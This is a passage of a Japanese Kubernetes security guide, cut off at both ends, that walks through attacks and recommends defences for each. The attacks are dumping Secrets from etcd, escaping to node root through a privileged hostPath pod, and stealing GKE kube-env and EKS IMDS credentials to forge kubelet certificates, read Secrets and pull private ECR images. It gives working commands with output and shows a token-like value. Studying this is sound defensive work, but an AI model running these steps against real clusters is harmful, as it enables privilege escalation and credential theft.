dns-autoscaler\n...\n/registry/namespaces/default\n/registry/namespaces/kube-node-lease\n/registry/namespaces/kube-public\n...\n/registry/pods/kube-system/calico-kube-controllers-7c5b64bf96-l54fz\n/registry/pods/kube-system/calico-node-g7r9q\n/registry/pods/kube-system/calico-node-pxzx4\n...\n/registry/secrets/kube-node-lease/default-token-jqg65\n/registry/secrets/kube-public/default-token-rhw5q\n/registry/secrets/kube-system/attachdetach-controller-token-dn6nl\n...\n```\n\n値はシリアライズされたバイナリ値となっているため、可読性に乏しいですが、リソースのオブジェクトが入っていることがわかります。\n\n```shell\nroot@master1:/# etcdctl \\\n    --cert /etc/ssl/etcd/ssl/node-master1.pem \\\n    --key /etc/ssl/etcd/ssl/node-master1-key.pem \\\n    --cacert /etc/ssl/etcd/ssl/ca.pem \\\n    --endpoints https://127.0.0.1:2379 \\\n    get /registry/namespaces/kube-system -w fields\n\"ClusterID\" : 18321220406064639639\n\"MemberID\" : 7551142479662027965\n\"Revision\" : 1223524\n\"RaftTerm\" : 3\n\"Key\" : \"/registry/namespaces/kube-system\"\n\"CreateRevision\" : 4\n\"ModRevision\" : 4\n\"Version\" : 1\n\"Value\" : \"k8s\\x00\\n\\x0f\\n\\x02v1\\x12\\tNamespace\\x12\\xb6\\x01\\n\\x9b\\x01\\n\\vkube-system\\x12\\x00\\x1a\\x00\\\"\\x00*$a65a4862-cb15-4a8d-9115-35cb3dd9a6422\\x008\\x00B\\b\\b\\xc9\\xffو\\x06\\x10\\x00z\\x00\\x8a\\x01O\\n\\x0ekube-apiserver\\x12\\x06Update\\x1a\\x02v1\\\"\\b\\b\\xc9\\xffو\\x06\\x10\\x002\\bFieldsV1:\\x1d\\n\\x1b{\\\"f:status\\\":{\\\"f:phase\\\":{}}}\\x12\\f\\n\\nkubernetes\\x1a\\b\\n\\x06Active\\x1a\\x00\\\"\\x00\"\n\"Lease\" : 0\n\"More\" : false\n\"Count\" : 1\n```\n\n## Secret の暗号化\n\netcd に含まれるデータはデフォルトでは暗号化されません。そのため、etcd の API にアクセスされた場合、Secret リソースも含めた Kubernetes クラスタに含まれるクレデンシャルが漏洩する可能性があります。\n\n```shell\n❯ kubectl create secret generic password --from-literal=pass='p@ssw0rd'\nsecret/password created\n\nroot@master1:/# etcdctl \\\n    --cert /etc/ssl/etcd/ssl/node-master1.pem \\\n    --key /etc/ssl/etcd/ssl/node-master1-key.pem \\\n    --cacert /etc/ssl/etcd/ssl/ca.pem \\\n    --endpoints https://127.0.0.1:2379 \\\n    get /registry/secrets/default/password -w fields\n\"ClusterID\" : 18321220406064639639\n\"MemberID\" : 7551142479662027965\n\"Revision\" : 1228694\n\"RaftTerm\" : 3\n\"Key\" : \"/registry/secrets/default/password\"\n\"CreateRevision\" : 1228577\n\"ModRevision\" : 1228577\n\"Version\" : 1\n# `p@ssw0rd` が含まれている\n\"Value\" : \"k8s\\x00\\n\\f\\n\\x02v1\\x12\\x06Secret\\x12\\xcc\\x01\\n\\xaf\\x01\\n\\bpassword\\x12\\x00\\x1a\\adefault\\\"\\x00*$85ed6ed7-af50-4962-9450-29de336c26132\\x008\\x00B\\b\\b\\xf9\\xde\\xed\\x88\\x06\\x10\\x00z\\x00\\x8a\\x01_\\n\\x0ekubectl-create\\x12\\x06Update\\x1a\\x02v1\\\"\\b\\b\\xf9\\xde\\xed\\x88\\x06\\x10\\x002\\bFieldsV1:-\\n+{\\\"f:data\\\":{\\\".\\\":{},\\\"f:pass\\\":{}},\\\"f:type\\\":{}}\\x12\\x10\\n\\x04pass\\x12\\bp@ssw0rd\\x1a\\x06Opaque\\x1a\\x00\\\"\\x00\"\n\"Lease\" : 0\n\"More\" : false\n\"Count\" : 1\n```\n\n適切に暗号化を行うと、値は次のようになり、etcd の API 経由では平文は取得できなくなります。\n\n```yaml\n\"Value\" : \"k8s:enc:aesgcm:v1:key1:ZZS(՝Uu\\x1e\\x81\\xc0owc\\x83j\\x8e\\x05\\x8b\\a(\\x85\\xb2\\x0e\\x8dd%\\xc9!\\xeey7\\x...\"\n```\n\n暗号化方式にはいくつかのパラメータが利用できますが、ローカルで管理している暗号化キーを使用する場合、EncryptionConfiguration のファイルに暗号化キーが保存されているため、ホストが侵害された場合は、復号される可能性があります。そのため、KMS のような Envelope 暗号化を利用する方式が推奨されます。\n\n# Rerefences\n\n- https://kubernetes.io/docs/tasks/administer-cluster/encrypt-data/\n- https://etcd.io/\n- https://kubernetes.io/docs/tasks/administer-cluster/configure-upgrade-etcd/#securing-etcd-clusters\n"
  },
  {
    "path": "source/kubernetes/security/hostpath-mount.md",
    "content": "# ホストパスのマウント\n\nPod からホストのパスをボリュームとしてマウントすることが可能です。例えば次のような Pod を作成すると `/host` 配下に Pod が配置された node のルートディレクトリをマウントできます。\n\n```yaml\napiVersion: v1\nkind: Pod\nmetadata:\n  name: noderootpod\n  labels:\nspec:\n  hostNetwork: true\n  hostPID: true\n  hostIPC: true\n  containers:\n  - name: noderootpod\n    image: busybox\n    securityContext:\n      privileged: true\n    volumeMounts:\n    - mountPath: /host\n      name: noderoot\n    command: [ \"tail\", \"-f\", \"/dev/null\" ]\n  volumes:\n  - name: noderoot\n    hostPath:\n      path: /\n```\n\n```shell\n$ kubectl exec -it noderootpod sh\nkubectl exec [POD] [COMMAND] is DEPRECATED and will be removed in a future version. Use kubectl exec [POD] -- [COMMAND] instead.\n/ # cd /host\n/host # chroot .\nroot@lab-k8s-node-01:/#\nroot@lab-k8s-node-01:/# id\nuid=0(root) gid=0(root) groups=0(root),10(uucp)\n```\n\nPod の作成権限があるアカウント権限を攻撃者に奪われた場合に、権限昇格を行う方法としてこの手法が利用されることが考えられます。そのため、権限昇格を防ぐという目的で PodSecurityPolicy 等でマウント可能なディレクトリを明示的に定義すると良いでしょう。\n"
  },
  {
    "path": "source/kubernetes/security/metadata-service.md",
    "content": "# Metadata Service へのアクセス\n\nGCP や AWS などのクラウドプロバイダーには Metadata Service と呼ばれるインスタンスに対して任意のデータを提供するエンドポイントがあり、インスタンスから http://169.254.169.254/ にアクセスすることで取得できます。  \nGKE や EKS などのマネージド Kubernetes も例外ではなく、適切なアクセス制御を施さなければ Pod から Metadata Service にアクセスすることができ、権限昇格へとつながる可能性があります。  \nここでは GKE / EKS でこれらのエンドポイントにアクセスできた場合の攻撃例と対策を紹介します。\n\n## GKE\n\nGKE の Metadata Service に含まれる `kube-env` という Metadata にはノードをクラスタにジョインさせるために必要な bootstrap 処理に使用されるクレデンシャル(CA 証明書と公開,秘密鍵)が格納されています。  \nこれを利用して CertificateSigningRequest を作成することで kubelet のクライアント証明書を取得できます。さらに、その取得した証明書を使って kubelet として API サーバーにリクエストを送信することができてしまうのです。\n\nこれは GKE のコントロールプレーンとノードの認証方法に関するドキュメントに記載されています。[^1]\n\n> Each node in the cluster is injected with a shared Secret at creation, which it can use to submit certificate signing requests to the cluster root CA and obtain kubelet client certificates. These certificates are then used by the kubelet to authenticate its requests to the API server. Note that this shared Secret is reachable by Pods, unless metadata concealment is enabled.\n\nそれでは実際に試していきます。GKE でクラスタを作成し、Pod に入ったあと、まずは Metadata へのアクセスを確認します。\n\n```shell\nroot@test:/# KUBE_ENV_URL=\"http://169.254.169.254/computeMetadata/v1/instance/attributes/kube-env\"\nroot@test:/# curl -s -H \"Metadata-flavor: Google\" \"${KUBE_ENV_URL}\"\nALLOCATE_NODE_CIDRS: \"true\"\nAPI_SERVER_TEST_LOG_LEVEL: --v=3\nAUTOSCALER_ENV_VARS: kube_reserved=cpu=60m,memory=960Mi,ephemeral-storage=5Gi;node_labels=beta.kubernetes.io/fluentd-ds-ready=true,cloud.google.com/gke-nodepool=default-pool,cloud.google.com/gke-os-distribution=cos\nCA_CERT: LS0tLS1CRUdJ...S0tLS0tCg==\nCLUSTER_IP_RANGE: 10.0.0.0/14\nCLUSTER_NAME: sandbox-cluster\nCNI_SHA1: dcbeba8d6be7a49e399bda6b8b638d312eace876\nCNI_STORAGE_PATH: https://storage.googleapis.com/gke-release/cni-plugins/v0.8.5-gke.1\nCNI_STORAGE_URL_BASE: https://storage.googleapis.com/gke-release/cni-plugins\nCNI_TAR_PREFIX: cni-plugins-linux-amd64-\nCNI_VERSION: v0.8.5-gke.1\nCREATE_BOOTSTRAP_KUBECONFIG: \"true\"\nDNS_DOMAIN: cluster.local\nDNS_SERVER_IP: 10.3.240.10\nDOCKER_REGISTRY_MIRROR_URL: https://mirror.gcr.io\nELASTICSEARCH_LOGGING_REPLICAS: \"1\"\nENABLE_CLUSTER_DNS: \"true\"\nENABLE_CLUSTER_LOGGING: \"false\"\nENABLE_CLUSTER_MONITORING: none\nENABLE_CLUSTER_REGISTRY: \"false\"\nENABLE_CLUSTER_UI: \"true\"\nENABLE_L7_LOADBALANCING: glbc\nENABLE_METADATA_AGENT: \"\"\nENABLE_METRICS_SERVER: \"true\"\nENABLE_NODE_LOGGING: \"false\"\nENABLE_NODE_PROBLEM_DETECTOR: standalone\nENABLE_NODELOCAL_DNS: \"false\"\nENABLE_SYSCTL_TUNING: \"true\"\nENV_TIMESTAMP: \"2020-09-10T02:20:16+00:00\"\nEXTRA_DOCKER_OPTS: --insecure-registry 10.0.0.0/8\nFEATURE_GATES: DynamicKubeletConfig=false,TaintBasedEvictions=false,RotateKubeletServerCertificate=true,ExperimentalCriticalPodAnnotation=true\nFLUENTD_CONTAINER_RUNTIME_SERVICE: containerd\nHEAPSTER_USE_NEW_STACKDRIVER_RESOURCES: \"true\"\nHEAPSTER_USE_OLD_STACKDRIVER_RESOURCES: \"false\"\nHPA_USE_REST_CLIENTS: \"true\"\nINSTANCE_PREFIX: gke-sandbox-cluster-e2749290\nKUBE_ADDON_REGISTRY: k8s.gcr.io\nKUBE_CLUSTER_DNS: 10.3.240.10\nKUBE_DOCKER_REGISTRY: gke.gcr.io\nKUBE_MANIFESTS_TAR_HASH: d669659b3716794bafc85a1808d5def16e536166\nKUBE_MANIFESTS_TAR_URL: https://storage.googleapis.com/gke-release-asia/kubernetes/release/v1.15.12-gke.2/kubernetes-manifests.tar.gz,https://storage.googleapis.com/gke-release/kubernetes/release/v1.15.12-gke.2/kubernetes-manifests.tar.gz,https://storage.googleapis.com/gke-release-eu/kubernetes/release/v1.15.12-gke.2/kubernetes-manifests.tar.gz\nKUBE_PROXY_TOKEN: SrS1RF7V6Te5rd95FYvBhTEN04hWTKp2X4nMoxBrFgY=\nKUBELET_ARGS: --v=2 --cloud-provider=gce --experimental-check-node-capabilities-before-mount=true\n  --experimental-mounter-path=/home/kubernetes/containerized_mounter/mounter --cert-dir=/var/lib/kubelet/pki/\n  --cni-bin-dir=/home/kubernetes/bin --kubeconfig=/var/lib/kubelet/kubeconfig --image-pull-progress-deadline=5m\n  --experimental-kernel-memcg-notification=true --max-pods=110 --non-masquerade-cidr=0.0.0.0/0\n  --network-plugin=kubenet --node-labels=beta.kubernetes.io/fluentd-ds-ready=true,cloud.google.com/gke-nodepool=default-pool,cloud.google.com/gke-os-distribution=cos\n  --volume-plugin-dir=/home/kubernetes/flexvolume --bootstrap-kubeconfig=/var/lib/kubelet/bootstrap-kubeconfig\n  --node-status-max-images=25 --registry-qps=10 --registry-burst=20\nKUBELET_CERT: LS0tLS1CR...tLS0tCg==\nKUBELET_KEY: LS0tLS1CRUdJT...tFWS0tLS0tCg==\nKUBERNETES_MASTER: \"false\"\nKUBERNETES_MASTER_NAME: 35.200.103.159\nLOGGING_DESTINATION: \"\"\nLOGGING_STACKDRIVER_RESOURCE_TYPES: \"\"\nMONITORING_FLAG_SET: \"true\"\nNETWORK_PROVIDER: kubenet\nNODE_LOCAL_SSDS_EXT: \"\"\nNODE_PROBLEM_DETECTOR_TOKEN: etn...zY=\nNON_MASQUERADE_CIDR: 0.0.0.0/0\nREMOUNT_VOLUME_PLUGIN_DIR: \"true\"\nREQUIRE_METADATA_KUBELET_CONFIG_FILE: \"true\"\nSALT_TAR_HASH: \"\"\nSALT_TAR_URL: https://storage.googleapis.com/gke-release-asia/kubernetes/release/v1.15.12-gke.2/kubernetes-salt.tar.gz,https://storage.googleapis.com/gke-release/kubernetes/release/v1.15.12-gke.2/kubernetes-salt.tar.gz,https://storage.googleapis.com/gke-release-eu/kubernetes/release/v1.15.12-gke.2/kubernetes-salt.tar.gz\nSERVER_BINARY_TAR_HASH: a016a715584cc797c4d9c2c3c8ae34d0fb3837db\nSERVER_BINARY_TAR_URL: https://storage.googleapis.com/gke-release-asia/kubernetes/release/v1.15.12-gke.2/kubernetes-server-linux-amd64.tar.gz,https://storage.googleapis.com/gke-release/kubernetes/release/v1.15.12-gke.2/kubernetes-server-linux-amd64.tar.gz,https://storage.googleapis.com/gke-release-eu/kubernetes/release/v1.15.12-gke.2/kubernetes-server-linux-amd64.tar.gz\nSERVICE_CLUSTER_IP_RANGE: 10.3.240.0/20\nSTACKDRIVER_ENDPOINT: https://logging.googleapis.com\nSYSCTL_OVERRIDES: \"\"\nVOLUME_PLUGIN_DIR: /home/kubernetes/flexvolume\nZONE: asia-northeast1-b\n```\n\n様々なデータが含まれていることが確認できます。ここに含まれている `CA_CERT` , `KUBELET_CERT` , `KUBELET_KEY` がそれぞれ証明書の生成に必要なファイルです。  \nこれらは base64 エンコードされているため、デコードして保存します。\n\n```shell\nroot@test:/# curl -s -H \"Metadata-flavor: Google\" \"${KUBE_ENV_URL}\" | grep -v \"EVICTION\" | grep -v \"KUBELET_TEST_ARGS\" | grep -v \"EXTRA_DOCKER_OPTS\" | sed -e 's/: /=/g' > env\nroot@test:/# source ./env\n\nroot@test:/# echo $CA_CERT | base64 -d > bootstrap/ca.crt\nroot@test:/# echo $KUBELET_CERT | base64 -d > bootstrap/kubelet-bootstrap.crt\nroot@test:/# echo $KUBELET_KEY | base64 -d > bootstrap/kubelet-bootstrap.key\n```\n\nPod が配置されている Node のホスト名も取得します。\n\n```shell\nroot@test:/# KUBE_HOSTNAME_URL=\"http://169.254.169.254/computeMetadata/v1/instance/hostname\"\nroot@test:/# CURRENT_HOSTNAME=\"$(curl -s -H 'Metadata-flavor: Google' ${KUBE_HOSTNAME_URL} | awk -F. '{print $1}')\"\nroot@test:/# echo $CURRENT_HOSTNAME\ngke-sandbox-cluster-default-pool-f9270e72-mg63\n```\n\nこれからの操作を簡単にするために `kubectl` も取得しておきましょう。\n\n```shell\nroot@test:/# curl -s -LO https://storage.googleapis.com/kubernetes-release/release/$(curl -s https://storage.googleapis.com/kubernetes-release/release/stable.txt)/bin/linux/amd64/kubectl\nroot@test:/# chmod +x kubectl\n```\n\n取得した証明書を使って Node のホスト名を含んだ CSR を作成します。\n\n```shell\nroot@test:/tmp# cat openssl.cnf\n[ req ]\nprompt = no\nencrypt_key = no\ndefault_md = sha256\ndistinguished_name = dname\n[ dname ]\nO = system:nodes\nCN = system:node:gke-sandbox-cluster-default-pool-f9270e72-mg63\n\nroot@test:/tmp# openssl ecparam -genkey -name prime256v1 -out kubelet.key\nroot@test:/tmp# openssl req -new -config /tmp/openssl.cnf -key kubelet.key -out kubelet.csr\n```\n\nCertificateSigningRequest リソースを作ります。 `request` には生成した CSR を base64 エンコードした値を指定します。\n\n```shell\nroot@test:/tmp# cat kubelet.csr | base64 | tr -d '\\n'\nLS0tLS1CRUdJ...LS0tLS0K\n\nroot@test:/# cat /tmp/kubelet.yaml\napiVersion: certificates.k8s.io/v1beta1\nkind: CertificateSigningRequest\nmetadata:\n  name: node-csr-gke-sandbox-cluster-default-pool-f9270e72-mg63-2\nspec:\n  groups:\n  - system:authenticated\n  request: LS0tLS1CRUdJ...LS0tLS0K\n  usages:\n  - digital signature\n  - key encipherment\n  - client auth\n  username: kubelet\n```\n\nCertificateSigningRequest を作成すると kube-controoler-manager によって自動承認されます。[^2]\n\n```shell\nroot@test:/# ./kubectl create -f /tmp/kubelet.yaml --certificate-authority=bootstrap/ca.crt --server=https://$KUBERNETES_MASTER_NAME --client-certificate=bootstrap/kubelet-bootstrap.crt --client-key=bootstrap/kubelet-bootstrap.key\ncertificatesigningrequest.certificates.k8s.io/node-csr-gke-sandbox-cluster-default-pool-f9270e72-mg63-2 created\n```\n\n証明書が承認されたので、クライアント証明書を取得します。\n\n```shell\nroot@test:/# ./kubectl --certificate-authority=bootstrap/ca.crt --server=https://$KUBERNETES_MASTER_NAME --client-certificate=bootstrap/kubelet-bootstrap.crt --client-key=bootstrap/kubelet-bootstrap.key get csr\nNAME                                                        AGE   REQUESTOR                                                    CONDITION\ncsr-tsfx7                                                   37m   system:node:gke-sandbox-cluster-default-pool-f9270e72-mg63   Approved,Issued\nnode-csr-P4UgPH1KuYujxgQkDUWU1cWtUcMlEBXl5kn0WqUxS3Y        37m   kubelet                                                      Approved,Issued\nnode-csr-gke-sandbox-cluster-default-pool-f9270e72-mg63-2   66s   kubelet                                                      Approved,Issued\n\nroot@test:/# ./kubectl --certificate-authority=bootstrap/ca.crt --server=https://$KUBERNETES_MASTER_NAME --client-certificate=bootstrap/kubelet-bootstrap.crt --client-key=bootstrap/kubelet-bootstrap.key get csr node-csr-gke-sandbox-cluster-default-pool-f9270e72-mg63-2 -o jsonpath='{.status.certificate}' | base64 -d > /tmp/kubelet.crt\n```\n\nこれで Pod の一覧と、その Pod で使われている Secret を閲覧できるようになります。Secret の一覧はできませんが、Get はできるので Pod で利用中の Secret は取得することが可能です。\n\n```shell\nroot@test:/# ./kubectl --certificate-authority=bootstrap/ca.crt --server=https://$KUBERNETES_MASTER_NAME --client-certificate=/tmp/kubelet.crt --client-key=/tmp/kubelet.key get pods\nNAME   READY   STATUS    RESTARTS   AGE\ntest   1/1     Running   0          40m\n\nroot@test:/# ./kubectl --certificate-authority=bootstrap/ca.crt --server=https://$KUBERNETES_MASTER_NAME --client-certificate=/tmp/kubelet.crt --client-key=/tmp/kubelet.key get pods --all-namespaces -o=jsonpath='{range .items[*]}{.metadata.namespace}{\"|\"}{.metadata.name}{\"|\"}{.spec.volumes[*].secret.secretName}{\"\\n\"}{end}'\ndefault|test|default-token-xjxn2\nkube-system|event-exporter-v0.3.0-5cd6ccb7f7-d6vnv|event-exporter-sa-token-t4jdk\nkube-system|fluentd-gcp-scaler-6855f55bcc-kck48|fluentd-gcp-scaler-token-s767f\nkube-system|fluentd-gcp-v3.1.1-zg5bc|fluentd-gcp-token-qlljh\nkube-system|heapster-gke-858f6d47db-jmdm8|heapster-token-l47xx\nkube-system|kube-dns-5c446b66bd-xbmn2|kube-dns-token-fx6l4\nkube-system|kube-dns-autoscaler-6b7f784798-9q2mq|kube-dns-autoscaler-token-r5xl4\nkube-system|kube-proxy-gke-sandbox-cluster-default-pool-f9270e72-mg63|\nkube-system|l7-default-backend-84c9fcfbb-97tsn|default-token-psndk\nkube-system|metrics-server-v0.3.3-fdc67d4b6-wglqz|metrics-server-token-d74js\nkube-system|prometheus-to-sd-q7s2f|prometheus-to-sd-token-876dc\nkube-system|stackdriver-metadata-agent-cluster-level-7df5d5fb48-v9l8w|metadata-agent-token-vnpdq\n\nroot@test:/# ./kubectl --certificate-authority=bootstrap/ca.crt --server=https://$KUBERNETES_MASTER_NAME --client-certificate=/tmp/kubelet.crt --client-key=/tmp/kubelet.key get secret -n kube-system prometheus-to-sd-token-876dc -o yaml\napiVersion: v1\ndata:\n  ca.crt: LS0t...==\n  namespace: a3ViZS1zeXN0ZW0=\n  token: ZXlKXa...==\nkind: Secret\nmetadata:\n  annotations:\n    kubernetes.io/service-account.name: prometheus-to-sd\n    kubernetes.io/service-account.uid: c3ed5b36-685f-4f6e-93b9-4459a1a251d1\n  creationTimestamp: \"2020-09-10T02:23:40Z\"\n  name: prometheus-to-sd-token-876dc\n  namespace: kube-system\n  resourceVersion: \"365\"\n  selfLink: /api/v1/namespaces/kube-system/secrets/prometheus-to-sd-token-876dc\n  uid: 8651c53d-60d3-419c-877c-fef4e399e242\ntype: kubernetes.io/service-account-token\n```\n\nこのように、もし Pod が侵害され、Metadata Service へのアクセスが可能だった場合は、Secret へのアクセスもできてしまうため、さらなる権限昇格が可能になります。  \nGKE ではこのような攻撃を防ぐために Workload Identity[^3] や Shielded GKE Nodes[^4] という仕組みがありますので、これらを利用することを推奨します。\n\n## EKS\n\n続いて EKS での Metadata Service を見ていきます。AWS での Metadata Service は Amazon EC2 Instance metadata service (IMDS) という名前があるため、ここでも IMDS と表記します。  \nまずは `eksctl` でクラスタを作成します。\n\n```shell\n$ eksctl create cluster --nodes 1 --name test-cluster --node-type t3.large\n...\n$ kubectl get nodes\nNAME                                                STATUS   ROLES    AGE     VERSION\nip-192-168-74-107.ap-northeast-1.compute.internal   Ready    <none>   2m51s   v1.17.12-eks-7684af\n```\n\nクラスタができたら Pod を作成し、IMDS にアクセスしてみます。\n\n```shell\n$ kubectl run --image=nicolaka/netshoot:latest --rm -it test bash\nIf you don't see a command prompt, try pressing enter.\nbash-5.0# curl http://169.254.169.254/latest/meta-data/\nami-id\nami-launch-index\nami-manifest-path\nblock-device-mapping/\nevents/\nhostname\niam/\nidentity-credentials/\ninstance-action\ninstance-id\ninstance-life-cycle\ninstance-type\nlocal-hostname\nlocal-ipv4\nmac\nmetrics/\nnetwork/\nplacement/\nprofile\npublic-hostname\npublic-ipv4\nreservation-id\nsecurity-groups\n```\n\nGCP とはまた違ったデータが含まれていることが確認できます。このように、クラウドプロバイダーごとに格納されている値は異なるため、利用しているクラウドプロバイダーでどのような値を持っているかを確認し、もしアクセスされた場合にどのような影響が生じるのかを把握することをオススメします。\n\nさて、これらのデータの中で攻撃に利用できるものの一つに Node のインスタンスに紐付いている IAM ロール IAM があります。今回作成したクラスタには `eksctl-test-cluster-nodegroup-ng-NodeInstanceRole-1T2SSTC513WI5` という名前の IAM ロールが付与されていることが確認できます。また、クレデンシャルも取得することもできます。\n\n```shell\nbash-5.0# curl http://169.254.169.254/latest/meta-data/iam/security-credentials/\neksctl-test-cluster-nodegroup-ng-NodeInstanceRole-1T2SSTC513WI5\n\nbash-5.0# curl http://169.254.169.254/latest/meta-data/iam/security-credentials/eksctl-test-cluster-nodegroup-ng-NodeInstanceRole-1T2SSTC513WI5/\n{\n  \"Code\" : \"Success\",\n  \"LastUpdated\" : \"2020-11-23T13:32:29Z\",\n  \"Type\" : \"AWS-HMAC\",\n  \"AccessKeyId\" : \"ASIA...6GVD\",\n  \"SecretAccessKey\" : \"MgZ0...Rv1A\",\n  \"Token\" : \"IQoJb3JpZ...QKjFmg==\",\n  \"Expiration\" : \"2020-11-23T20:06:44Z\"\n}\n```\n\nこの IAM ロールには以下のポリシーが適用されています。\n\n- AmazonEKSWorkerNodePolicy\n- AmazonEC2ContainerRegistryReadOnly\n- AmazonEKS_CNI_Policy\n\nこのポリシーには `ec2:DescribeInstances` や `ec2:DescribeVpcs` などもあり、インスタンスやネットワーク情報の取得などが可能なことがわかります。  \nさらに興味深いのは `AmazonEC2ContainerRegistryReadOnly` です。これは ECR から任意の Docker イメージを取得することができます。任意の Docker イメージを取得できるということはアプリケーションのソースコードなどを取得できるということになります。\n\nでは試してみましょう。Pod に `aws` コマンドをインストールし、 `aws ecr` コマンドを通してリポジトリの情報を取得できます。\n\n```shell\nroot@test:~# export AWS_ACCESS_KEY_ID=ASIA...6GVD\nroot@test:~# export AWS_SECRET_ACCESS_KEY=MgZ0...Rv1A\nroot@test:~# export AWS_SESSION_TOKEN=IQoJb3JpZ...QKjFmg==\n\nroot@test:~# aws ecr describe-repositories\n{\n    \"repositories\": [\n        {\n            \"repositoryArn\": \"arn:aws:ecr:ap-northeast-1:926292163423:repository/mrtc0/test\",\n            \"registryId\": \"926292163423\",\n            \"repositoryName\": \"mrtc0/test\",\n            \"repositoryUri\": \"926292163423.dkr.ecr.ap-northeast-1.amazonaws.com/mrtc0/test\",\n            \"createdAt\": \"2020-11-23T22:51:31+09:00\",\n            \"imageTagMutability\": \"MUTABLE\",\n            \"imageScanningConfiguration\": {\n                \"scanOnPush\": false\n            },\n            \"encryptionConfiguration\": {\n                \"encryptionType\": \"AES256\"\n            }\n        }\n    ]\n}\n\nroot@test:~# aws ecr list-images --repository-name mrtc0/test\n{\n    \"imageIds\": [\n        {\n            \"imageDigest\": \"sha256:f9fc7e015619f2460609f17fe5903d698db775a340e4554c8a5b1c65d63b53b1\",\n            \"imageTag\": \"latest\"\n        }\n    ]\n}\n```\n\nまた、レジストリへのログインパスワードも取得できます。\n\n```shell\nroot@test:~# aws ecr get-login-password --region ap-northeast-1\neyJwYXlsb2FkIjoiZlB4Qy9KdXFqajE5ZlRkektKZ1liaWlJW...\n\nroot@test:~# aws ecr get-login-password --region ap-northeast-1 | docker login --username AWS --password-stdin 926292163423.dkr.ecr.ap-northeast-1.amazonaws.com/mrtc0/test\nWARNING! Your password will be stored unencrypted in /root/.docker/config.json.\nConfigure a credential helper to remove this warning. See\nhttps://docs.docker.com/engine/reference/commandline/login/#credentials-store\n\nLogin Succeeded\n```\n\nログインができるのでイメージを取得してみます。`docker` コマンドを用意しなくても `curl` でイメージレイヤを取得することができます。\n\n```shell\nroot@test:~# export TOKEN=$(aws ecr get-login-password --region ap-northeast-1)\nroot@test:~# curl -H 'Accept: application/vnd.docker.distribution.manifest.v2+json' -k --user AWS:$TOKEN https://926292163423.dkr.ecr.ap-northeast-1.amazonaws.com/v2/mrtc0/test/manifests/latest\n{\n   \"schemaVersion\": 2,\n   \"mediaType\": \"application/vnd.docker.distribution.manifest.v2+json\",\n   \"config\": {\n      \"mediaType\": \"application/vnd.docker.container.image.v1+json\",\n      \"size\": 1728,\n      \"digest\": \"sha256:0a8054f3ec507e056e6bc0a015d3a85678e4966cd9e1f18953311676ddf681fd\"\n   },\n   \"layers\": [\n      {\n         \"mediaType\": \"application/vnd.docker.image.rootfs.diff.tar.gzip\",\n         \"size\": 2797541,\n         \"digest\": \"sha256:df20fa9351a15782c64e6dddb2d4a6f50bf6d3688060a34c4014b0d9a752eb4c\"\n      },\n      {\n         \"mediaType\": \"application/vnd.docker.image.rootfs.diff.tar.gzip\",\n         \"size\": 117,\n         \"digest\": \"sha256:a34b0c316d63ed56e3cc1a312826765097c78c747445fad0e14d82686cb5563a\"\n      }\n   ]\n}\n\nroot@test:~# curl -L -H 'Accept: application/vnd.docker.distribution.manifest.v2+json' -k --user AWS:$TOKEN https://926292163423.dkr.ecr.ap-northeast-1.amazonaws.com/v2/mrtc0/test/blE_ID/  | jq\n  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current\n                                 Dload  Upload   Total   Spent    Left  Speed\n100   127  100   127    0     0   2116      0 --:--:-- --:--:-- --:--:--  2116\n  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0\n100  1728  100  1728    0     0  12083      0 --:--:-- --:--:-- --:--:-- 12083\n{\n  \"architecture\": \"amd64\",\n  \"config\": {\n    \"Hostname\": \"\",\n    \"Domainname\": \"\",\n    \"User\": \"\",\n    \"AttachStdin\": false,\n    \"AttachStdout\": false,\n    \"AttachStderr\": false,\n    \"Tty\": false,\n    \"OpenStdin\": false,\n    \"StdinOnce\": false,\n    \"Env\": [\n      \"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\"\n    ],\n    \"Cmd\": [\n      \"/bin/sh\"\n    ],\n    \"ArgsEscaped\": true,\n    \"Image\": \"sha256:a24bb4013296f61e89ba57005a7b3e52274d8edd3ae2077d04395f806b63d83e\",\n    \"Volumes\": null,\n    \"WorkingDir\": \"\",\n    \"Entrypoint\": null,\n    \"OnBuild\": null,\n    \"Labels\": null\n  },\n  \"container_config\": {\n    \"Hostname\": \"\",\n    \"Domainname\": \"\",\n    \"User\": \"\",\n    \"AttachStdin\": false,\n    \"AttachStdout\": false,\n    \"AttachStderr\": false,\n    \"Tty\": false,\n    \"OpenStdin\": false,\n    \"StdinOnce\": false,\n    \"Env\": [\n      \"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\"\n    ],\n    \"Cmd\": [\n      \"/bin/sh\",\n      \"-c\",\n      \"#(nop) ADD file:d579202c9c7308a756eac66a2b3be41424e5e92a6376dd3fcf059d57770aa10c in /secret.txt \"\n    ],\n    \"ArgsEscaped\": true,\n    \"Image\": \"sha256:a24bb4013296f61e89ba57005a7b3e52274d8edd3ae2077d04395f806b63d83e\",\n    \"Volumes\": null,\n    \"WorkingDir\": \"\",\n    \"Entrypoint\": null,\n    \"OnBuild\": null,\n    \"Labels\": null\n  },\n  \"created\": \"2020-11-23T13:50:04.0959713Z\",\n  \"docker_version\": \"19.03.13\",\n  \"history\": [\n    {\n      \"created\": \"2020-05-29T21:19:46.192045972Z\",\n      \"created_by\": \"/bin/sh -c #(nop) ADD file:c92c248239f8c7b9b3c067650954815f391b7bcb09023f984972c082ace2a8d0 in / \"\n    },\n    {\n      \"created\": \"2020-05-29T21:19:46.363518345Z\",\n      \"created_by\": \"/bin/sh -c #(nop)  CMD [\\\"/bin/sh\\\"]\",\n      \"empty_layer\": true\n    },\n    {\n      \"created\": \"2020-11-23T13:50:04.0959713Z\",\n      \"created_by\": \"/bin/sh -c #(nop) ADD file:d579202c9c7308a756eac66a2b3be41424e5e92a6376dd3fcf059d57770aa10c in /secret.txt \"\n    }\n  ],\n  \"os\": \"linux\",\n  \"rootfs\": {\n    \"type\": \"layers\",\n    \"diff_ids\": [\n      \"sha256:50644c29ef5a27c9a40c393a73ece2479de78325cae7d762ef3cdc19bf42dd0a\",\n      \"sha256:0e93ab7e92aa71e6ad2e6227fc001d8311e4c7827ef882bfe0fadffcfdf8b3e0\"\n    ]\n  }\n}\n\nroot@test:~# curl -L -H 'Accept: application/vnd.docker.distribution.manifest.v2+json' -k --user AWS:$TOKEN 